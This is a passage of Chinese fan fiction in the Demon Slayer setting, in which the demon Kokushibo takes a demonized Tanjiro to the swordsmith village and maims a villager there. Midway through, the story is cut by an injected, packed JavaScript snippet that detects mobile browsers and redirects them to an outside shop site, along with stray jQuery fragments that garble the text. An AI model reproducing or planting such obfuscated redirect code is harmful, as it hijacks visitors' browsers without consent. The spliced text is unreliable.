“我们要去锻刀村了吗?老师?”
回来无限城的炭治郎蹦跳着跑到黑死牟身边,眼含期待地望着对方。
之前钢铁冢介绍过锻刀的过程和历史,少年也不禁对此产生浓厚的兴趣。
黑死牟:“嗯。”
他看着炭治郎,六只眼睛同时眨动,“你好像........很开心?”
少年把这次出去遇到锻刀匠的事给说了出来,他眼眸亮亮的,说道:“我没想到锻刀竟然会有那么多的过往,每一个都很有趣,很想亲眼见一见。”
黑死牟赞成地微微点头,“嗯........知道多一些的东西........也是有好处的。”
他把手中的已经空了的茶杯放回茶室,就示意坐在不远处的鸣女,“可以了.......送我们过去吧........”
鸣女紧握着琵琶,随即拨动了两下弦,不成调的声音让上弦壹眉头轻皱,刚想说什么,两鬼的身影瞬间消失,空气里只余喝完的茶香和一声烦躁的冷哼。
他们直接被传送到锻刀村附近山上的林子里。
从这儿往村庄看去,几百家房屋灯火通明。
“嗯.......看来玉壶的情报没有错.........都回来了。”
炭治郎愣愣地看着下面的村子,轻声道:“好温馨啊.........”
黑死牟看了眼炭治郎,伸手牵着少年快步在林中穿梭下山,朝着村庄靠近。
少年还未反应过来,自己就已经快到村口了,他赶忙拉了两下黑死牟,“老师老师,等一下!我、我们是不是应该装扮一下啊!”
黑死牟脚步停滞,侧过头六只眼睛疑惑地看向炭治郎,“装扮?”
少年点了点头,低声道:“是啊,我们现在的样子容易被发现鬼的身份,会引起麻烦的。”
黑死牟不以为意,语气淡然:“我们的目的.......只是要为你寻一把趁手的刀.........刀到手之后.......若真有什么阻碍........杀了便是。”
“..........”
炭治郎欲言又止,嘴唇翕动了几下,最终却只是沉沉地吐出一口气,压着声音劝道:“老师,打打杀杀只会把麻烦越积越多,还是应该要稳妥一些。”
黑死牟不理解,但看少年紧张地望着他,无奈叹口气,“好。”
炭治郎在心里松口气,面上也重新露出开心的笑容,黑死牟凝神了片刻,随即面部开始发生变化,两双眼睛闭合隐去,留下的那双刻字的眼眸也消去字迹,恢复成人类时的瞳色。
炭治郎看着黑死牟的脸发愣,瞳孔放大时,似是被火焰笼住,一时间熟悉的恐惧和渴望同时附着上心口,矛盾感让他的心脏像被一块巨石紧紧压住,喘不过气。
“炭治郎?”
黑死牟疑惑地看向正在发愣的少年,“怎么了?”
少年回神,尽力忽视身上的异样,朝上弦壹笑了笑,“没、没事,老师,我们快走吧。”
黑死牟虽有不解,但仍旧先一步拉住男孩的手,继续朝村子走去。
锻刀村。
钢太郎正站在村口值夜,他百无聊赖地来回转悠,惹得一旁同样值夜的铁池烦躁地朝他吼道:“喂!你转悠啥呢,能不能站好了!”
钢太郎面具后发出打哈欠的声音,他伸手把面具微微下拉露出眼睛,随后把眼角出来的泪水擦干,这才说道:“我太无聊了嘛,好想回去锻刀啊。”
铁池面具后的眼睛翻了个白眼,“你以为我不想回去?但今天就是咋俩值夜,逃不了,再说了你那刀早锻晚锻都一样,又没有剑士需要。”
钢太郎:“.........”
“说的好像你锻的刀就有剑士需要一样!”
铁池:“..........”
话头一起,两人顿时吵得不可开交,眼看就要上升至拳脚,炭治郎和黑死牟也在此时出现在二人面前。
“什么人?!“两人转过身,异口同声地喊道。
炭治郎先一步上前,凑近时,他看到了两个村民脸上的面具,瞳孔皱缩了一瞬,但很快就调整好自己的心绪,鞠下躬,开口说道:“两位刀匠前辈夜安,是这样,我与老师想来这里寻一把适配的日轮刀,劳烦二位请帮忙通传村长一声,麻烦了。”
钢太郎和铁池对视一眼,钢太郎上前一步问道:“呃.......你们是鬼杀队的?怎么没见过?”
炭治望向两人,小心翼翼地说道:“那个........我们不是鬼杀队的,但是我们是剑士,不可以吗?”
钢太郎:“..........”
这铁定不可以啊,只有鬼杀队才能——不对!
钢太郎突然问道:“你、你们不是鬼杀队的,那怎么找到我们村的?!”
炭治郎没想到对方会这么说,一时间也卡了壳,“这个.......”
后方的黑死牟略显烦郁的轻“啧”了声,炭治郎也在瞬间感受到老师的杀意,他的脑子快速运转,眼珠震颤了两下,终于想到了一个理由,“那、那、那个我们是鬼杀队介绍的,哈哈......关、关系挺不错的。”
说完,看着眼前两个村民突然消音,胸腔内的心脏止不住地七上八下。
钢太郎还未说什么,铁池却突然上前将人拉至身后。
“胡说!鬼杀队的剑士来锻刀村都要被蒙着眼睛牵着走,生怕村落会暴露,又怎么可能会告诉外人?还让你们大摇大摆的过来!”
.........好了,悬着的心终于死了。
身后的黑死牟也在此时拔出刀闪现至炭治郎的身前,“果然.......还是杀掉省事得多.......”
话音落下,少年还未开口阻止,两双眼睛里刻着的字逐渐显现,上下两双眼眸重新睁开,血红色显现。
“鬼......是鬼!”钢太郎惊愕一声,铁池也感觉后脊一凉,属于鬼的压迫感朝着二人袭来。
“让开.......我们只要刀,对人不感兴趣.........”黑死牟神色淡淡,语气里却充斥着威慑。
“快!快去通知村长!”铁池猛推了一下钢太郎,面具后的眼睛死死盯着眼前的恶鬼,浑身止不住的发抖。
“可........可我走了,就剩你.......”钢太郎上前一步担忧道。
铁池冷笑一声,打断对方,“就你那仨瓜俩枣的功夫,你觉得留下来我的生存率就会大吗,赶紧吧,别愣着了!”
说完,见眼前的鬼没有丝毫的动作,他又推了下身后的钢太郎,“快点!走!!”
钢太郎咬了咬牙,“你、你等我,我马上就到!”
说完,就迅速冲进村里。
铁池见眼前的恶鬼没有阻拦,甚至连位置都未动半分,却没有放松分毫。
而另一边,已经进村的钢太郎飞奔到村长屋前,猛地敲响房门,大声吼道:“村长,村长,出事了!”
而听到喊声原本正与回来的钢铁冢和铁穴森商议要事的铁地河,不禁调侃道:“臭小子,喊什么喊啊,是天塌下来了吗?”边走边说的村长打开房门,而屋外的钢太郎也在瞬间冲了进来,喘着粗气,两只手紧紧握住老人的袖子,“出、出事了!”
“有、有鬼!”
“你说什么?!”村长的声音霎时间变得凝重。
钢铁冢和铁穴森对视一眼,一一上前,而村长将眼前半跪着人拉起来,“鬼在哪里?发生什么事了!”
而此时村口处,炭治郎在身后焦急地望向黑死牟和铁池,他咬了咬牙,上前瞬间移动到一人一鬼的中间,面朝黑死牟,开口劝道:“老师,我们只是要刀,还、还是不要引起太大的冲突.......”
“呵,还想要刀?”黑死牟还未说话,铁池就先一步冷呵一声,声音冰冷道:“连个铁石都不会给!”
话音落下的一刹那,月刃旋转着从炭治郎的耳边飞过,速度之快连眨眼的功夫都不到,痛苦的低吼声自身后响起,炭治郎瞳孔震颤了一瞬,猛地转身查看。
只见那名刀匠村民右臂被齐根斩断,断臂滚落一旁,他紧捂着血肉模糊的创口,鲜血正从指缝间汩汩涌出。
“不会说话........可以不说,不然.......舌头不要也可。”
炭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710407|205012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
治郎:“老师.......”抿了抿唇,“算了吧.......”
黑死牟看了炭治郎一眼,随即收刀,上前牵着炭治郎的手朝着村里走去。
“站、站住!”半跪下来的铁池厉声呵止两鬼。
炭治郎转头看向生气已经渐渐衰落的铁池,又望向黑死牟,内心犹豫片刻,他还是挣开了上弦壹的手,跑回村民的面前。
“你.......”黑死牟出声,六只眼眸凝视着炭治郎,他看到少年从怀中拿出纱布凑到铁池面前。
铁池原本见这个少年鬼过来,身体瞬间进入警惕紧绷的状态,血也因此流得更多。
他眼前阵阵发昏,另只手不禁松开伤口去撑地,才没让自己倒下去,就见少年从怀里拿出纱布团开,缓缓靠近他。
“你——!”铁池原本想退开,但如今所剩的力气已经不足以让他的身体移动,所以只能任由炭治郎将纱布缠在自己的伤口上。
当纱布紧贴皮肤,鲜血被止住时,铁池的目光由戒备厌恶转为不可思议。
这、这竟然真的只是普通的纱布!?
铁池不明白对方这么做的目的是什么,他来回打量着少年,体内血液不再失衡,也让他的力气和意识稍稍回复了些许。
“你、你什么意思?”他开口。
可炭治郎没有回答,他眼眸低垂,朝人鞠了一躬,就转身回到黑死牟身边。
他能感受到身后不解地目光,但此时他不想多说,只是眨巴着眼小心地看向自己的老师。
黑死牟的目光自始至终未能离开少年,炭治郎鼻尖微动,虽然他现如今仍对许多气味分辨不开,但仍能感觉到他的老师此时的气味可不太友好。
“老、老师,我.........”
“黑死牟阁下!”
有些熟悉的声音从不远处响起,上弦壹侧头,就见玉壶扭着身体朝他们飘来。
铁池也注意到了,他与那鬼刚好对视上,对方“哇哦”一声就凑到他面前。
“哎呀,这身材比例,做我新的艺术品刚刚好唉。”
炭治郎深吸口气,目光死死落在玉壶的身上,对方感受到了视线,看向他,又是“哇哦”一声,“炭治郎阁下也在啊,真是许久未见了呢。”
玉壶上下打量着炭治郎,发出可惜的叹气声。
若不是无惨大人太宝贵这只鬼,这红头发俏面容,最适合成为艺术品了~
正幻想着的玉壶盯着炭治郎的眼神也就愈发炽热,而此时他听到了黑死牟的声音。
“玉壶。”他的语气沉了下来,带着不加掩饰的警告,“别想不该想的......”
玉壶这才“清醒”过来,不好意思地笑了笑,“十分抱歉,两位阁下。”他又将目光转回铁池的身上,眼里爆发出渴望的光,“您二位要进村,这人也用不上了,不如给在下如何?”
黑死牟还未说话,炭治郎就先摇头,“不行!”他可太知道玉壶的秉性了。他下意识抬头看向一旁的黑死牟,目光带着渴求,“别让他带走他,拜托老师.......”
黑死牟没有说话,气氛一瞬间死寂了下来。
玉壶在两鬼之间来回打量,眼里透露出好奇的光,他笑着调侃,“哎呦,两位阁下貌似意见不统一了呀,那这人我到底带不带走呢.......”嘴上这样说着,但玉壶朝着铁池挥了挥手,说了句“冒昧了”就用粘稠液体形成水牢将人牢牢困住。
铁池猝然被遏制了呼吸,他挣扎着,却无济于事。
玉壶见此发出尖利的笑声这瞬间吸引到炭治郎。
他原本看向黑死牟的视线转向玉壶那边。
就见到铁池即将被淹死的一幕。
黑死牟仍不说话,但他却伸出手牵住炭治郎,不由分说地将人朝村里拉去。
力道之大,炭治郎根本挣脱不开,而他的刀不知什么时候被黑死牟握在手中。
“别......老师.......”炭治郎极力挣扎,他的鞋在泥地上被拖曳着划出好几条深深的印子,目光仍旧注视着被困在水牢里的铁池。
炭治郎紧咬着唇。
怎么办..........